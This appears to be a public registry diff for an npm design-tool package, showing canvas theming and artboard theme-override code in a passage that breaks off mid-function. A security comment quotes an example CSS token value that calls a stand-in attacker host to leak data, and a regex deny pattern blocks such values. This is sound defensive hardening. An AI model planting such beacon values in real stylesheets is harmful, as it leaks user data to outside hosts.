@1agh/maude 0.22.2 → 0.24.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +34 -1
- package/cli/bin/maude.mjs +3 -0
- package/cli/commands/cache.mjs +181 -0
- package/cli/commands/cache.test.mjs +166 -0
- package/cli/commands/design-link.test.mjs +84 -2
- package/cli/commands/design.mjs +95 -4
- package/cli/commands/design.test.mjs +56 -0
- package/cli/commands/help.mjs +34 -0
- package/cli/commands/hub.mjs +255 -30
- package/cli/commands/hub.test.mjs +135 -10
- package/cli/commands/init.mjs +3 -0
- package/cli/commands/preflight.mjs +11 -0
- package/cli/commands/preflight.test.mjs +46 -0
- package/cli/commands/scenario-report.mjs +45 -0
- package/cli/lib/cache.mjs +407 -0
- package/cli/lib/cache.test.mjs +303 -0
- package/cli/lib/design-link.mjs +222 -11
- package/cli/lib/flow-design-integration.test.mjs +165 -0
- package/cli/lib/gitignore-block.mjs +90 -0
- package/cli/lib/gitignore-block.test.mjs +123 -0
- package/cli/lib/hubs-config.mjs +42 -4
- package/cli/lib/plugin-cli-reachability.test.mjs +56 -0
- package/cli/lib/preflight.mjs +41 -10
- package/package.json +8 -8
- package/plugins/design/dev-server/ai-banner.tsx +2 -2
- package/plugins/design/dev-server/annotations-context-toolbar.tsx +349 -112
- package/plugins/design/dev-server/annotations-layer.tsx +906 -137
- package/plugins/design/dev-server/api.ts +109 -4
- package/plugins/design/dev-server/bin/preflight.sh +21 -10
- package/plugins/design/dev-server/bin/prep.sh +211 -0
- package/plugins/design/dev-server/bin/scenario-report.mjs +209 -0
- package/plugins/design/dev-server/bin/screenshot.sh +18 -1
- package/plugins/design/dev-server/bin/smoke.sh +94 -11
- package/plugins/design/dev-server/build.ts +69 -3
- package/plugins/design/dev-server/canvas-comment-mount.tsx +384 -0
- package/plugins/design/dev-server/canvas-cursors.ts +125 -0
- package/plugins/design/dev-server/canvas-icons.tsx +130 -0
- package/plugins/design/dev-server/canvas-lib.tsx +47 -27
- package/plugins/design/dev-server/canvas-meta.schema.json +20 -0
- package/plugins/design/dev-server/canvas-shell.tsx +358 -245
- package/plugins/design/dev-server/client/app.jsx +191 -21
- package/plugins/design/dev-server/client/styles/3-shell.css +10 -0
- package/plugins/design/dev-server/collab/awareness-bridge.ts +77 -0
- package/plugins/design/dev-server/collab/index.ts +87 -9
- package/plugins/design/dev-server/collab/persistence.ts +34 -3
- package/plugins/design/dev-server/collab/registry.ts +131 -2
- package/plugins/design/dev-server/collab/room.ts +21 -8
- package/plugins/design/dev-server/config.schema.json +20 -0
- package/plugins/design/dev-server/context-menu.tsx +167 -23
- package/plugins/design/dev-server/context.ts +31 -0
- package/plugins/design/dev-server/contextual-toolbar.tsx +7 -7
- package/plugins/design/dev-server/dist/client.bundle.js +144 -22
- package/plugins/design/dev-server/dist/comment-mount.js +1868 -0
- package/plugins/design/dev-server/dist/styles.css +16 -0
- package/plugins/design/dev-server/dom-selection.ts +156 -0
- package/plugins/design/dev-server/equal-spacing-handles.tsx +1 -1
- package/plugins/design/dev-server/export-dialog.tsx +19 -17
- package/plugins/design/dev-server/fs-watch.ts +1 -0
- package/plugins/design/dev-server/hmr-broadcast.ts +51 -20
- package/plugins/design/dev-server/http.ts +260 -20
- package/plugins/design/dev-server/input-router.tsx +125 -64
- package/plugins/design/dev-server/participants-chrome.tsx +10 -10
- package/plugins/design/dev-server/server.ts +141 -1
- package/plugins/design/dev-server/sync/agent.ts +418 -0
- package/plugins/design/dev-server/sync/atomic-write.ts +103 -0
- package/plugins/design/dev-server/sync/codec.ts +324 -0
- package/plugins/design/dev-server/sync/connection-state.ts +203 -0
- package/plugins/design/dev-server/sync/echo-guard.ts +108 -0
- package/plugins/design/dev-server/sync/fs-mirror.ts +160 -0
- package/plugins/design/dev-server/sync/hubs-config.ts +87 -0
- package/plugins/design/dev-server/sync/index.ts +918 -0
- package/plugins/design/dev-server/sync/materialize.ts +62 -0
- package/plugins/design/dev-server/sync/migrate-seed.ts +163 -0
- package/plugins/design/dev-server/sync/origins.ts +57 -0
- package/plugins/design/dev-server/sync/projection.ts +368 -0
- package/plugins/design/dev-server/sync/status.ts +115 -0
- package/plugins/design/dev-server/sync/untrusted.ts +153 -0
- package/plugins/design/dev-server/test/_helpers.ts +6 -2
- package/plugins/design/dev-server/test/annotations-layer.test.ts +231 -0
- package/plugins/design/dev-server/test/annotations-roundtrip.test.ts +276 -0
- package/plugins/design/dev-server/test/canvas-cursors.test.ts +73 -0
- package/plugins/design/dev-server/test/canvas-origin-gate.test.ts +76 -0
- package/plugins/design/dev-server/test/collab-awareness-bridge.test.ts +223 -0
- package/plugins/design/dev-server/test/collab-reseed-guard.test.ts +78 -0
- package/plugins/design/dev-server/test/collab-room.test.ts +21 -10
- package/plugins/design/dev-server/test/comment-mount.test.ts +87 -0
- package/plugins/design/dev-server/test/csp-canvas-shell.test.ts +46 -0
- package/plugins/design/dev-server/test/fixtures/phase-20-annotations.svg +1 -0
- package/plugins/design/dev-server/test/hmr-classify.test.ts +70 -0
- package/plugins/design/dev-server/test/input-router.test.ts +21 -0
- package/plugins/design/dev-server/test/sanitize-annotation-svg.test.ts +100 -0
- package/plugins/design/dev-server/test/shared-doc-convergence.test.ts +265 -0
- package/plugins/design/dev-server/test/shared-doc-foundation.test.ts +63 -0
- package/plugins/design/dev-server/test/shared-doc-migrate.test.ts +160 -0
- package/plugins/design/dev-server/test/shared-doc-projection.test.ts +238 -0
- package/plugins/design/dev-server/test/sync-agent.test.ts +278 -0
- package/plugins/design/dev-server/test/sync-atomic-write.test.ts +63 -0
- package/plugins/design/dev-server/test/sync-codec.test.ts +165 -0
- package/plugins/design/dev-server/test/sync-connection-state.test.ts +146 -0
- package/plugins/design/dev-server/test/sync-echo-guard.test.ts +96 -0
- package/plugins/design/dev-server/test/sync-fs-mirror.test.ts +182 -0
- package/plugins/design/dev-server/test/sync-hardening.test.ts +520 -0
- package/plugins/design/dev-server/test/sync-hubs-config.test.ts +130 -0
- package/plugins/design/dev-server/test/sync-meta-codec.test.ts +123 -0
- package/plugins/design/dev-server/test/sync-runtime.test.ts +812 -0
- package/plugins/design/dev-server/test/sync-status.test.ts +80 -0
- package/plugins/design/dev-server/test/sync-untrusted.test.ts +104 -0
- package/plugins/design/dev-server/test/use-collab.test.ts +0 -0
- package/plugins/design/dev-server/test/use-tool-mode.test.tsx +38 -10
- package/plugins/design/dev-server/tool-palette.tsx +18 -16
- package/plugins/design/dev-server/undo-hud.tsx +4 -4
- package/plugins/design/dev-server/undo-stack.ts +20 -4
- package/plugins/design/dev-server/use-annotation-resize.tsx +16 -5
- package/plugins/design/dev-server/use-collab.tsx +157 -13
- package/plugins/design/dev-server/use-selection-set.tsx +12 -0
- package/plugins/design/dev-server/use-tool-mode.tsx +27 -12
- package/plugins/design/dev-server/ws.ts +40 -1
- package/plugins/design/templates/_shell.html +63 -5
- package/plugins/design/templates/canvas.tsx.template +13 -0
- package/plugins/design/templates/design-system-inspiration/SUB-AGENT-PROMPTS.md +15 -7
- package/plugins/flow/.claude-plugin/config.schema.json +5 -0
- package/plugins/flow/templates/ai-skeleton/README.md +1 -1
- package/plugins/flow/templates/ai-skeleton/gitignore +10 -0
- package/plugins/flow/templates/ai-skeleton/scenarios/README.md +3 -1
- package/plugins/flow/templates/ai-skeleton/workflows.config.json +2 -1
|
@@ -48,7 +48,6 @@ import {
|
|
|
48
48
|
useViewportControllerContext,
|
|
49
49
|
} from './canvas-lib.tsx';
|
|
50
50
|
import { type AlignMode, alignLabel, equalSpacingLabel } from './commands/equal-spacing-command.ts';
|
|
51
|
-
import { CommentsOverlay } from './comments-overlay.tsx';
|
|
52
51
|
import {
|
|
53
52
|
ContextMenuProvider,
|
|
54
53
|
type ContextRegistry,
|
|
@@ -59,6 +58,15 @@ import {
|
|
|
59
58
|
} from './context-menu.tsx';
|
|
60
59
|
import { ContextualToolbar } from './contextual-toolbar.tsx';
|
|
61
60
|
import { CursorsOverlay } from './cursors-overlay.tsx';
|
|
61
|
+
import {
|
|
62
|
+
cssEscape,
|
|
63
|
+
cssPath,
|
|
64
|
+
deriveFile,
|
|
65
|
+
domPath,
|
|
66
|
+
hoverTargetToSelection,
|
|
67
|
+
realClasses,
|
|
68
|
+
shortText,
|
|
69
|
+
} from './dom-selection.ts';
|
|
62
70
|
import { EqualSpacingHandles } from './equal-spacing-handles.tsx';
|
|
63
71
|
import { ExportDialogProvider } from './export-dialog.tsx';
|
|
64
72
|
import { type HoverTarget, resolveHoverTarget, useInputRouter } from './input-router.tsx';
|
|
@@ -75,7 +83,11 @@ import { AnnotationsVisibilityProvider } from './use-annotations-visibility.tsx'
|
|
|
75
83
|
import { useCollab } from './use-collab.tsx';
|
|
76
84
|
import { useCursorModifiers } from './use-cursor-modifiers.tsx';
|
|
77
85
|
import { useKeyboardDiscipline } from './use-keyboard-discipline.tsx';
|
|
78
|
-
import {
|
|
86
|
+
import {
|
|
87
|
+
MaybeSelectionSetProvider,
|
|
88
|
+
type Selection,
|
|
89
|
+
useSelectionSet,
|
|
90
|
+
} from './use-selection-set.tsx';
|
|
79
91
|
import { useToolMode } from './use-tool-mode.tsx';
|
|
80
92
|
import { useUndoStack } from './use-undo-stack.tsx';
|
|
81
93
|
|
|
@@ -86,25 +98,63 @@ import { useUndoStack } from './use-undo-stack.tsx';
|
|
|
86
98
|
// plane would otherwise scale a 2 px outline to 0.84 px at 42 % zoom (subpixel
|
|
87
99
|
// = invisible). No per-element class stamping is used.
|
|
88
100
|
|
|
89
|
-
// HUD
|
|
101
|
+
// HUD / chrome token block. System-review 2026-05-27 (D-4) flagged that the
|
|
90
102
|
// dev-server chrome (toolbar + minimap + halos + marquee + AI banner) used
|
|
91
103
|
// `var(--accent, …)` which inherited the canvas DS palette — a violet StudyFi
|
|
92
104
|
// canvas turned the floating cursor toolbar violet. The HUD owns its own
|
|
93
105
|
// `--maude-hud-*` token family, set on `:root` of the canvas iframe document
|
|
94
|
-
// here. Canvas DSs do NOT define
|
|
95
|
-
// this block regardless of what the imported `:root { --accent: … }`
|
|
106
|
+
// here. Canvas DSs do NOT define these names, so HUD/chrome CSS resolves
|
|
107
|
+
// against this block regardless of what the imported `:root { --accent: … }`
|
|
108
|
+
// looks like.
|
|
96
109
|
//
|
|
97
|
-
//
|
|
98
|
-
//
|
|
99
|
-
//
|
|
100
|
-
//
|
|
110
|
+
// Two sub-families:
|
|
111
|
+
// • `--maude-hud-accent*` — theme-agnostic brand orange-rust. Defaults match
|
|
112
|
+
// the existing inline fallback (`#d63b1f`) so the accent never changes with
|
|
113
|
+
// the theme. Users who want to re-theme the HUD can set these via a
|
|
114
|
+
// `<style>` block AFTER this one (CSS cascade — later wins).
|
|
115
|
+
// • `--maude-chrome-*` — NEUTRAL surface/text/border family that DOES follow
|
|
116
|
+
// the Maude chrome theme (system-review 2026-05-28 D9). The whole canvas-
|
|
117
|
+
// shell chrome (workspace plane, dotted grid, floating toolbar, minimap,
|
|
118
|
+
// zoom HUD, popovers, halos, context menu, undo HUD, presence chrome) reads
|
|
119
|
+
// these instead of the DS `--bg-*`/`--fg-*` palette, so the chrome flips
|
|
120
|
+
// dark↔light with the rest of the dev-server while ARTBOARDS keep the theme
|
|
121
|
+
// their design system defines. The set is selected by a `data-maude-theme`
|
|
122
|
+
// attribute on the iframe `documentElement`, propagated over the existing
|
|
123
|
+
// `dgn:*` postMessage bridge (see CanvasRouter onMessage + app.jsx).
|
|
124
|
+
//
|
|
125
|
+
// Values mirror the Maude app-chrome neutrals (client/styles/1-tokens.css) so
|
|
126
|
+
// the in-iframe chrome and the outer shell read as one product. The DARK set is
|
|
127
|
+
// also the default (attribute absent / "dark") so a canvas that never receives
|
|
128
|
+
// a theme message renders coherent-dark — matching the dev-server's own default
|
|
129
|
+
// theme (readInitialTheme() → 'dark'). DDR — mirrors the `--maude-hud-*`
|
|
130
|
+
// precedent; the `data-maude-theme` attribute is deliberately SEPARATE from the
|
|
131
|
+
// DS `data-theme` so chrome theming never touches artboard palettes.
|
|
101
132
|
const HUD_TOKENS_CSS = `
|
|
102
|
-
:root
|
|
133
|
+
:root,
|
|
134
|
+
:root[data-maude-theme="dark"] {
|
|
103
135
|
--maude-hud-accent: #d63b1f;
|
|
104
136
|
--maude-hud-accent-hover: #b8331b;
|
|
105
137
|
--maude-hud-accent-active: #962a16;
|
|
106
138
|
--maude-hud-accent-fg: #ffffff;
|
|
107
139
|
--maude-hud-accent-tint: color-mix(in oklab, #d63b1f 14%, transparent);
|
|
140
|
+
|
|
141
|
+
--maude-chrome-bg-0: oklch(13% 0.012 60);
|
|
142
|
+
--maude-chrome-bg-1: oklch(17% 0.014 60);
|
|
143
|
+
--maude-chrome-bg-2: oklch(20% 0.016 60);
|
|
144
|
+
--maude-chrome-fg-0: oklch(94% 0.014 80);
|
|
145
|
+
--maude-chrome-fg-1: oklch(78% 0.014 80);
|
|
146
|
+
--maude-chrome-border: oklch(28% 0.018 60);
|
|
147
|
+
--maude-chrome-shadow: rgba(0, 0, 0, 0.45);
|
|
148
|
+
--maude-chrome-font-mono: 'Berkeley Mono', 'TX-02', 'JetBrains Mono', 'IBM Plex Mono', ui-monospace, SFMono-Regular, Menlo, monospace;
|
|
149
|
+
}
|
|
150
|
+
:root[data-maude-theme="light"] {
|
|
151
|
+
--maude-chrome-bg-0: oklch(97.5% 0.008 78);
|
|
152
|
+
--maude-chrome-bg-1: oklch(95.5% 0.010 78);
|
|
153
|
+
--maude-chrome-bg-2: oklch(93.0% 0.012 78);
|
|
154
|
+
--maude-chrome-fg-0: oklch(20% 0.020 50);
|
|
155
|
+
--maude-chrome-fg-1: oklch(38% 0.018 50);
|
|
156
|
+
--maude-chrome-border: oklch(86% 0.014 70);
|
|
157
|
+
--maude-chrome-shadow: color-mix(in oklab, oklch(20% 0.020 50) 14%, transparent);
|
|
108
158
|
}
|
|
109
159
|
`;
|
|
110
160
|
|
|
@@ -126,7 +176,7 @@ const HALO_CSS = `
|
|
|
126
176
|
elements. NO ring, NO ticks. Synchronous paint (no debounce). */
|
|
127
177
|
.dc-cv-halo--hover {
|
|
128
178
|
border: 1.5px solid color-mix(in oklab, var(--maude-hud-accent, #0d99ff) 60%, transparent);
|
|
129
|
-
box-shadow: inset 0 0 0 1px var(--bg-0, #ffffff);
|
|
179
|
+
box-shadow: inset 0 0 0 1px var(--maude-chrome-bg-0, #ffffff);
|
|
130
180
|
}
|
|
131
181
|
/* Selected (single) — 2px solid + 18% ring halo + 4 filled corner ticks.
|
|
132
182
|
Ticks are <i class="tick tick-*"> children at inset:-3px, 8x8, accent fill. */
|
|
@@ -140,7 +190,7 @@ const HALO_CSS = `
|
|
|
140
190
|
height: 8px;
|
|
141
191
|
background: var(--maude-hud-accent, #0d99ff);
|
|
142
192
|
border-radius: 1px;
|
|
143
|
-
box-shadow: 0 0 0 1px var(--bg-0, #ffffff);
|
|
193
|
+
box-shadow: 0 0 0 1px var(--maude-chrome-bg-0, #ffffff);
|
|
144
194
|
}
|
|
145
195
|
.dc-cv-halo--selected .tick-tl { top: -3px; left: -3px; }
|
|
146
196
|
.dc-cv-halo--selected .tick-tr { top: -3px; right: -3px; }
|
|
@@ -174,7 +224,7 @@ const HALO_CSS = `
|
|
|
174
224
|
height: 6px;
|
|
175
225
|
background: var(--maude-hud-accent, #0d99ff);
|
|
176
226
|
border-radius: 1px;
|
|
177
|
-
box-shadow: 0 0 0 1px var(--bg-0, #ffffff);
|
|
227
|
+
box-shadow: 0 0 0 1px var(--maude-chrome-bg-0, #ffffff);
|
|
178
228
|
}
|
|
179
229
|
.dc-cv-group-bbox .tick-tl { top: -3px; left: -3px; }
|
|
180
230
|
.dc-cv-group-bbox .tick-tr { top: -3px; right: -3px; }
|
|
@@ -301,16 +351,36 @@ export function CanvasShell({
|
|
|
301
351
|
children: ReactNode;
|
|
302
352
|
}) {
|
|
303
353
|
ensureHaloStyles();
|
|
354
|
+
|
|
355
|
+
// D9 — "Follow chrome" artboards. When the chrome theme flips (the theme
|
|
356
|
+
// postMessage handler in CanvasRouter updates `data-maude-theme` on <html>),
|
|
357
|
+
// re-point every artboard the user marked as a follower at the new theme.
|
|
358
|
+
// A single observer per canvas (cleaned up on unmount) — no per-artboard
|
|
359
|
+
// listeners to leak. The override itself is a CSS rule keyed by data-dc-screen
|
|
360
|
+
// (see setArtboardTheme), so it survives React re-renders without flicker.
|
|
361
|
+
useEffect(() => {
|
|
362
|
+
if (typeof MutationObserver === 'undefined' || typeof document === 'undefined') return;
|
|
363
|
+
const obs = new MutationObserver(() => applyArtboardFollowers());
|
|
364
|
+
obs.observe(document.documentElement, {
|
|
365
|
+
attributes: true,
|
|
366
|
+
attributeFilter: ['data-maude-theme'],
|
|
367
|
+
});
|
|
368
|
+
return () => obs.disconnect();
|
|
369
|
+
}, []);
|
|
370
|
+
|
|
304
371
|
// ToolProvider is mounted by DesignCanvas one level up (so the viewport
|
|
305
372
|
// controller's `isPanDragActive` predicate can read the live tool state).
|
|
373
|
+
// SelectionSetProvider is mounted via MaybeSelectionSetProvider — the shell-
|
|
374
|
+
// owned comment mount layer provides one, in which case CanvasShell consumes
|
|
375
|
+
// that single instance so the comment router + halos share one selection set.
|
|
306
376
|
return (
|
|
307
|
-
<
|
|
377
|
+
<MaybeSelectionSetProvider>
|
|
308
378
|
<AnnotationSelectionProvider>
|
|
309
379
|
<AnnotationsVisibilityProvider>
|
|
310
380
|
<CanvasCore hostRef={hostRef}>{children}</CanvasCore>
|
|
311
381
|
</AnnotationsVisibilityProvider>
|
|
312
382
|
</AnnotationSelectionProvider>
|
|
313
|
-
</
|
|
383
|
+
</MaybeSelectionSetProvider>
|
|
314
384
|
);
|
|
315
385
|
}
|
|
316
386
|
|
|
@@ -644,6 +714,194 @@ function CanvasCore({
|
|
|
644
714
|
);
|
|
645
715
|
}
|
|
646
716
|
|
|
717
|
+
// ─────────────────────────────────────────────────────────────────────────────
|
|
718
|
+
// Per-artboard theme override (D9). The canvas-shell CHROME follows the Maude
|
|
719
|
+
// theme via `data-maude-theme`; ARTBOARDS keep their DS theme by default. This
|
|
720
|
+
// block backs the right-click `Theme ▸ DS default / Light / Dark / Follow
|
|
721
|
+
// chrome` submenu — it re-themes a single artboard by stamping its
|
|
722
|
+
// `.dc-artboard` <article> with the DS's theme-wrapper convention.
|
|
723
|
+
//
|
|
724
|
+
// DS theme-wrapper conventions vary (`.mdcc[data-theme]`, `.app[data-theme]`,
|
|
725
|
+
// bare `[data-theme]`, …) and there's no reliable config flag, so we DETECT it
|
|
726
|
+
// with a hidden computed-style probe: stamp a throwaway nested <div> with each
|
|
727
|
+
// candidate `<class>[data-theme=light|dark]` and keep the first whose resolved
|
|
728
|
+
// `--bg-0` differs between light and dark. Because the probe tests a NON-root
|
|
729
|
+
// element, "supported" is exactly "stamping one artboard will work" — a DS that
|
|
730
|
+
// only themes `:root[data-theme]` correctly reports unsupported (you genuinely
|
|
731
|
+
// can't theme a single artboard there).
|
|
732
|
+
|
|
733
|
+
interface DsThemeSupport {
|
|
734
|
+
supported: boolean;
|
|
735
|
+
/** The class the DS scopes its theme blocks to (`''` = bare `[data-theme]`). */
|
|
736
|
+
wrapperClass: string;
|
|
737
|
+
}
|
|
738
|
+
|
|
739
|
+
let _dsThemeSupport: DsThemeSupport | null = null;
|
|
740
|
+
|
|
741
|
+
function detectDsThemeSupport(): DsThemeSupport {
|
|
742
|
+
if (_dsThemeSupport) return _dsThemeSupport;
|
|
743
|
+
const fallback: DsThemeSupport = { supported: false, wrapperClass: '' };
|
|
744
|
+
if (typeof document === 'undefined' || !document.body) return fallback;
|
|
745
|
+
try {
|
|
746
|
+
const host = document.createElement('div');
|
|
747
|
+
host.setAttribute('aria-hidden', 'true');
|
|
748
|
+
host.style.cssText =
|
|
749
|
+
'position:absolute;left:-9999px;top:0;width:0;height:0;overflow:hidden;pointer-events:none;';
|
|
750
|
+
document.body.appendChild(host);
|
|
751
|
+
const read = (cls: string, theme: string): string => {
|
|
752
|
+
const el = document.createElement('div');
|
|
753
|
+
if (cls) el.className = cls;
|
|
754
|
+
el.setAttribute('data-theme', theme);
|
|
755
|
+
host.appendChild(el);
|
|
756
|
+
const v = getComputedStyle(el).getPropertyValue('--bg-0').trim();
|
|
757
|
+
host.removeChild(el);
|
|
758
|
+
return v;
|
|
759
|
+
};
|
|
760
|
+
// Bare attribute first (cleanest), then the common class conventions.
|
|
761
|
+
let found = fallback;
|
|
762
|
+
for (const cls of ['', 'mdcc', 'app']) {
|
|
763
|
+
const light = read(cls, 'light');
|
|
764
|
+
const dark = read(cls, 'dark');
|
|
765
|
+
if (light && dark && light !== dark) {
|
|
766
|
+
found = { supported: true, wrapperClass: cls };
|
|
767
|
+
break;
|
|
768
|
+
}
|
|
769
|
+
}
|
|
770
|
+
document.body.removeChild(host);
|
|
771
|
+
_dsThemeSupport = found;
|
|
772
|
+
return found;
|
|
773
|
+
} catch {
|
|
774
|
+
return fallback;
|
|
775
|
+
}
|
|
776
|
+
}
|
|
777
|
+
|
|
778
|
+
// Why not just stamp `data-theme` on the `.dc-artboard` element? Two reasons,
|
|
779
|
+
// both found the hard way: (1) React OWNS the artboard <article> + the canvas
|
|
780
|
+
// content's `rootClass` wrapper — it reconciles their className/attrs back to
|
|
781
|
+
// the JSX values on every re-render, wiping any imperative mutation; and (2)
|
|
782
|
+
// the canvas content carries its OWN `rootClass[data-theme]` wrapper (the DS
|
|
783
|
+
// default), which re-establishes the default tokens BELOW the artboard, so
|
|
784
|
+
// setting `data-theme` on the outer article never reaches the content. The
|
|
785
|
+
// robust mechanism is a single injected <style> keyed by the STABLE
|
|
786
|
+
// `data-dc-screen` attribute (which React always re-renders WITH), re-declaring
|
|
787
|
+
// the chosen theme's `--*` tokens scoped to the artboard's content wrapper.
|
|
788
|
+
// Survives re-renders, beats the wrapper on cascade order, zero flicker.
|
|
789
|
+
|
|
790
|
+
// Reject token VALUES that could turn the re-emitted <style> into a resource
|
|
791
|
+
// fetch / exfil beacon. Per the CSS spec a custom-property value can't contain
|
|
792
|
+
// an unmatched top-level `}` (so brace-breakout to other selectors is already
|
|
793
|
+
// impossible), but `url()` / `image()` / `@import` / comments survive verbatim.
|
|
794
|
+
// For a TRUSTED same-origin DS this is inert, but a DDR-054 untrusted synced
|
|
795
|
+
// canvas could ship `--bg-0: #fff url(https://attacker/x?leak)` — copying it
|
|
796
|
+
// here would fire that fetch when the artboard renders. Drop such values; the
|
|
797
|
+
// token simply falls back to the DS default for that artboard. (Security
|
|
798
|
+
// review F2, 2026-05-29 — defense-in-depth on top of the canvas-origin CSP.)
|
|
799
|
+
const _UNSAFE_TOKEN_VALUE = /url\(|image\(|image-set\(|-image-set\(|@import|\/\*|expression\(/i;
|
|
800
|
+
|
|
801
|
+
// Collect a DS theme block's custom-property declarations by scanning the
|
|
802
|
+
// loaded stylesheets for top-level rules whose selector targets that theme.
|
|
803
|
+
// Only `--*` props are copied (token re-definitions) — never layout/type, and
|
|
804
|
+
// never @media-nested rules (e.g. the prefers-reduced-motion 1ms collapse).
|
|
805
|
+
const _themeDecls: Partial<Record<'light' | 'dark', string>> = {};
|
|
806
|
+
function collectThemeDeclarations(theme: 'light' | 'dark'): string {
|
|
807
|
+
const cached = _themeDecls[theme];
|
|
808
|
+
if (cached != null) return cached;
|
|
809
|
+
let decls = '';
|
|
810
|
+
if (typeof document !== 'undefined') {
|
|
811
|
+
for (const sheet of Array.from(document.styleSheets)) {
|
|
812
|
+
let rules: CSSRuleList | undefined;
|
|
813
|
+
try {
|
|
814
|
+
rules = sheet.cssRules;
|
|
815
|
+
} catch {
|
|
816
|
+
continue; // cross-origin / unreadable sheet
|
|
817
|
+
}
|
|
818
|
+
if (!rules) continue;
|
|
819
|
+
for (const rule of Array.from(rules)) {
|
|
820
|
+
if (!(rule instanceof CSSStyleRule)) continue;
|
|
821
|
+
if (!(rule.selectorText || '').includes(`[data-theme="${theme}"]`)) continue;
|
|
822
|
+
const style = rule.style;
|
|
823
|
+
for (let i = 0; i < style.length; i++) {
|
|
824
|
+
const prop = style[i];
|
|
825
|
+
if (!prop.startsWith('--')) continue;
|
|
826
|
+
const value = style.getPropertyValue(prop);
|
|
827
|
+
if (_UNSAFE_TOKEN_VALUE.test(value)) continue;
|
|
828
|
+
decls += `${prop}:${value};`;
|
|
829
|
+
}
|
|
830
|
+
}
|
|
831
|
+
}
|
|
832
|
+
}
|
|
833
|
+
_themeDecls[theme] = decls;
|
|
834
|
+
return decls;
|
|
835
|
+
}
|
|
836
|
+
|
|
837
|
+
const _artboardThemes = new Map<string, 'light' | 'dark'>();
|
|
838
|
+
const _artboardFollowers = new Set<string>();
|
|
839
|
+
|
|
840
|
+
function cssEsc(v: string): string {
|
|
841
|
+
return typeof CSS !== 'undefined' && CSS.escape ? CSS.escape(v) : v;
|
|
842
|
+
}
|
|
843
|
+
|
|
844
|
+
// Selector targeting the artboard's content wrapper (where the DS theme block
|
|
845
|
+
// is re-established). Beats `.<wrapper>[data-theme="…"]` because the injected
|
|
846
|
+
// <style> is appended after the DS stylesheet (later-wins on equal specificity).
|
|
847
|
+
function artboardScopeSelector(screenId: string): string {
|
|
848
|
+
const { wrapperClass } = detectDsThemeSupport();
|
|
849
|
+
const base = `[data-dc-screen="${cssEsc(screenId)}"]`;
|
|
850
|
+
if (wrapperClass) {
|
|
851
|
+
const c = cssEsc(wrapperClass);
|
|
852
|
+
return `${base} .${c},${base}.${c}`;
|
|
853
|
+
}
|
|
854
|
+
return `${base} [data-theme],${base}[data-theme]`;
|
|
855
|
+
}
|
|
856
|
+
|
|
857
|
+
function rebuildArtboardThemeStyle(): void {
|
|
858
|
+
if (typeof document === 'undefined') return;
|
|
859
|
+
let el = document.getElementById('dc-artboard-theme-css') as HTMLStyleElement | null;
|
|
860
|
+
if (!el) {
|
|
861
|
+
el = document.createElement('style');
|
|
862
|
+
el.id = 'dc-artboard-theme-css';
|
|
863
|
+
document.head.appendChild(el);
|
|
864
|
+
}
|
|
865
|
+
let css = '';
|
|
866
|
+
for (const [screenId, theme] of _artboardThemes) {
|
|
867
|
+
const decls = collectThemeDeclarations(theme);
|
|
868
|
+
if (decls) css += `${artboardScopeSelector(screenId)}{${decls}}\n`;
|
|
869
|
+
}
|
|
870
|
+
el.textContent = css;
|
|
871
|
+
}
|
|
872
|
+
|
|
873
|
+
/** Current canvas-shell chrome theme (mirrors `data-maude-theme` on <html>). */
|
|
874
|
+
function currentChromeTheme(): 'light' | 'dark' {
|
|
875
|
+
if (typeof document === 'undefined') return 'dark';
|
|
876
|
+
return document.documentElement.dataset.maudeTheme === 'light' ? 'light' : 'dark';
|
|
877
|
+
}
|
|
878
|
+
|
|
879
|
+
/**
|
|
880
|
+
* Set (or clear) a single artboard's theme override, keyed by its stable
|
|
881
|
+
* `data-dc-screen` id. `theme === null` → remove the override (DS default).
|
|
882
|
+
* `follow === true` → mirror the live chrome theme and keep tracking toggles.
|
|
883
|
+
*/
|
|
884
|
+
function setArtboardTheme(screenId: string, theme: 'light' | 'dark' | null, follow = false): void {
|
|
885
|
+
_artboardFollowers.delete(screenId);
|
|
886
|
+
if (follow) {
|
|
887
|
+
_artboardFollowers.add(screenId);
|
|
888
|
+
_artboardThemes.set(screenId, currentChromeTheme());
|
|
889
|
+
} else if (theme === null) {
|
|
890
|
+
_artboardThemes.delete(screenId);
|
|
891
|
+
} else {
|
|
892
|
+
_artboardThemes.set(screenId, theme);
|
|
893
|
+
}
|
|
894
|
+
rebuildArtboardThemeStyle();
|
|
895
|
+
}
|
|
896
|
+
|
|
897
|
+
/** Re-point every "Follow chrome" artboard at the current chrome theme. */
|
|
898
|
+
function applyArtboardFollowers(): void {
|
|
899
|
+
if (_artboardFollowers.size === 0) return;
|
|
900
|
+
const t = currentChromeTheme();
|
|
901
|
+
for (const id of _artboardFollowers) _artboardThemes.set(id, t);
|
|
902
|
+
rebuildArtboardThemeStyle();
|
|
903
|
+
}
|
|
904
|
+
|
|
647
905
|
// ─────────────────────────────────────────────────────────────────────────────
|
|
648
906
|
// Registry builder — closes over controller + clear callback.
|
|
649
907
|
|
|
@@ -728,6 +986,56 @@ function buildRegistry(deps: {
|
|
|
728
986
|
},
|
|
729
987
|
});
|
|
730
988
|
|
|
989
|
+
// D9 — per-artboard theme override, keyed by the stable `data-dc-screen` id
|
|
990
|
+
// (target.artboardId) via an injected stylesheet (see setArtboardTheme). The
|
|
991
|
+
// DS-supports-both probe gates the explicit Light/Dark entries; "DS default"
|
|
992
|
+
// + "Follow chrome" are always available.
|
|
993
|
+
const themeSupport = detectDsThemeSupport();
|
|
994
|
+
const themeHint = 'This design system defines only one theme';
|
|
995
|
+
const themeItem: MenuItem = {
|
|
996
|
+
id: 'theme',
|
|
997
|
+
label: 'Theme',
|
|
998
|
+
onSelect: () => {
|
|
999
|
+
/* parent of a submenu — never invoked directly */
|
|
1000
|
+
},
|
|
1001
|
+
submenu: [
|
|
1002
|
+
{
|
|
1003
|
+
id: 'theme-ds-default',
|
|
1004
|
+
label: 'DS default',
|
|
1005
|
+
onSelect: (target) => {
|
|
1006
|
+
if (target.artboardId) setArtboardTheme(target.artboardId, null);
|
|
1007
|
+
},
|
|
1008
|
+
},
|
|
1009
|
+
{
|
|
1010
|
+
id: 'theme-light',
|
|
1011
|
+
label: 'Light',
|
|
1012
|
+
disabled: !themeSupport.supported,
|
|
1013
|
+
disabledHint: themeHint,
|
|
1014
|
+
onSelect: (target) => {
|
|
1015
|
+
if (target.artboardId) setArtboardTheme(target.artboardId, 'light');
|
|
1016
|
+
},
|
|
1017
|
+
},
|
|
1018
|
+
{
